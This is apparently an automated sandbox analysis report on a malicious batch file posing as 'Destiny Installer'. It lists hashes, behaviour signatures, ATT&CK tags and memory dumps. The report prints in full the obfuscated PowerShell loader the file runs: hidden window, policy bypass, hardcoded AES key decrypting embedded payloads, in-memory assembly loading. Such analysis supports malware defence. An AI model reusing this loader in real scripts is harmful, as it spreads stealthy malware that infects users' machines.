c70ce231f2c492b92157152d8a6138202a162be69fb33bd6e9571f9eaabc1ad3

Analysis

max time kernel
121s
max time network
121s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
01/03/2025, 17:48

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General

Target

destiny installer/Destiny Installer.bat
Size

327KB
MD5

2ae432966df2247f6019b7f4f92133b5
SHA1

ccffdee15b76f1239ff1552b0b5992b04753096b
SHA256

b7993ee9e7a074d2fd1a39756bf13e276722043be49e932a5c1540cecd7f7a61
SHA512

83b254cbfbaedca5904d761466d638de7b758986f572679cf80c0cafbd20ffd46dc4aa97c04ace4d650ea073a25459cf2d6ef32275e2ca1ce11e0d22fed1a569
SSDEEP

6144:IGuBeLEz1JHrfxWyiFwx5mnJ7x2AxQ4SEqxqH284++gGZzmdH2lXVKwT5gJy9pHC:ItBe6bHVWy7ATxQ49H284+dGZzUH21wd

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2320	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2320	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2320	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1992 wrote to memory of 2320	1992	cmd.exe	32
PID 1992 wrote to memory of 2320	1992	cmd.exe	32
PID 1992 wrote to memory of 2320	1992	cmd.exe	32

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\destiny installer\Destiny Installer.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1992
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JbpOv5Dd20QS+jAUaxWzfQ8Ue7OWB/lZpkmUiDzmjXc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('+oOxt502v2luXR//6oDybA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $OrPUq=New-Object System.IO.MemoryStream(,$param_var); $PVXiG=New-Object System.IO.MemoryStream; $QksXF=New-Object System.IO.Compression.GZipStream($OrPUq, [IO.Compression.CompressionMode]::Decompress); $QksXF.CopyTo($PVXiG); $QksXF.Dispose(); $OrPUq.Dispose(); $PVXiG.Dispose(); $PVXiG.ToArray();}function execute_function($param_var,$param2_var){ $dhbrq=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $UQwuM=$dhbrq.EntryPoint; $UQwuM.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\destiny installer\Destiny Installer.bat';$AwDLs=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\destiny installer\Destiny Installer.bat').Split([Environment]::NewLine);foreach ($zLvFY in $AwDLs) { if ($zLvFY.StartsWith(':: ')) { $OBKgh=$zLvFY.Substring(3); break; }}$payloads_var=[string[]]$OBKgh.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2320

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2320-4-0x000007FEF633E000-0x000007FEF633F000-memory.dmp

Filesize
4KB

Download
memory/2320-5-0x000000001B5A0000-0x000000001B882000-memory.dmp

Filesize
2.9MB

Download
memory/2320-7-0x000007FEF6080000-0x000007FEF6A1D000-memory.dmp

Filesize
9.6MB

Download
memory/2320-6-0x0000000001F70000-0x0000000001F78000-memory.dmp

Filesize
32KB

Download
memory/2320-10-0x000007FEF6080000-0x000007FEF6A1D000-memory.dmp

Filesize
9.6MB

Download
memory/2320-9-0x000007FEF6080000-0x000007FEF6A1D000-memory.dmp

Filesize
9.6MB

Download
memory/2320-8-0x000007FEF6080000-0x000007FEF6A1D000-memory.dmp

Filesize
9.6MB

Download
memory/2320-11-0x000007FEF6080000-0x000007FEF6A1D000-memory.dmp

Filesize
9.6MB

Download
memory/2320-12-0x000007FEF6080000-0x000007FEF6A1D000-memory.dmp

Filesize
9.6MB

Download